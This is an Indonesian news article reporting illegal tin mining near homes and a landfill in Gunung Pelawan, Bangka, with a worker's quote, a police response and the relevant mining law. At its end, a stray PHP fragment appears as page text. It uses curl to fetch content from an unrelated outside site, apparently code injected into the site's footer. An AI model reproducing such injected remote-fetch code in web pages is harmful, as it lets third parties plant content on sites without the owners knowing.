TI Beroperasi di Pemukiman Penduduk Lubuk Lesung

Kamis, 9 Desember 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Lubuk Lesung l Jejakkasus.info, Tingginya harga jual pasir timah menimbulkan, Aktivitas Tambang Inkonvensional (TI) di belakang TPA Al-Amin serta di pemukiman penduduk Jalan Lebuk Lesung Desa Gunung Pelawan kecamatan Belinyu kabupaten Bangka provinsi kepulauan Bangka Belitung.

Video

Dari pantauan Awak media Rabu (08/12/2021) pukul 16:58 WIB terlihat beberapa mesin TI Rajuk lagi beraktivitas di kawasan HP (Hutan Produksi) selama ini berjalan aman-aman saja

Salah satu dari awak media konfirmasi ke penambang yang lagi bekerja, dimana Namanya tidak mau disebutkan mengatakan, “yang punya tambang ini pak inisial KY rumah nya sebelah tambang ini pak saya disini cuma berkerja saja”, ucap salah satu penambang yang lagi mencuci bijih timah.

Baca Juga:  Wartawan Jurnal Sukabumi Dipukuli OTK saat Bertugas di Palabuhanratu

Dari pantauan di lapangan TI ini sudah lama beroperasi dan berada di belakang pemukiman penduduk.

Yang tadinya lahan pemukiman penduduk berubah menjadi kolong-kolong air makin lebar dan besar.

Dimana musim penghujan di Bulan Desember ini akan berdampak banjir dan longsor akibat dari penambang-penambang yang tidak bertanggungjawab.

Baca Juga:  Desakan LSM Gepak untuk Transparansi Penyelidikan Kebakaran Gudang BBM di Lampung yang Diduga Libatkan Oknum Polisi

Kapolsek Belinyu saat dikonfirmasi oleh awak media mengatakan, “Terimakasih informasinya dan kami akan selidiki”, ucapnya.

Berdasarkan Peraturan Presiden RI Undang -Undang No.3 Tahun 2020 tentang Perubahan Undang-Undang No. 4 Tahun 2009 tentang Pertambangan Mineral dan Batubara.

Pasal 161 Berbunyi:
“Setiap orang yang menampung, memanfaatkan, melakukan, pengelolahan dan/atau pemurnian, pengembangan dan/atau pemanfaatan, pengangkutan, penjualan Mineral dan /atau Batubara yang tidak berasal dari pemenang IUP, IUPK, IPR, SIPB atau izin sebagaimana dimaksud dalam pasal 35 ayat (3) huruf c dan huruf g.

Baca Juga:  SPBU 24.331.153 Pagarawan Bangka Diduga Melanggar UU Migas 22 Tahun 2001

Pasal 104,atau pasal 105 dipidana dengan pidana penjara paling lama 5 (lima) tahun dan Denda paling banyak Rp100.000.000.000.00 (seratus milyar rupiah).

Awak media Melaporkan adanya aktivitas tambang Timah ilegal yang beroperasi di pemukiman penduduk di belakang TPA Al-Amin Jalan Lebuk Lesung Desa Gunung Pelawan meminta pihak APH untuk memeriksa dan menindak tegas para penambang timah ilegal di kawasan Hutan Produksi. (Tim Sembilan)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba
Seorang Pengedar Narkoba diamankan di Pematang Pasir Ketapang
Diduga Pembunuh Supir Travel Kuala Tungkal, Spesial Perampok Sindikat Jaringan antar Provinsi

Berita Terkait

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Selasa, 24 September 2024 - 18:23 WIB

Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik

Selasa, 24 September 2024 - 10:15 WIB

Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>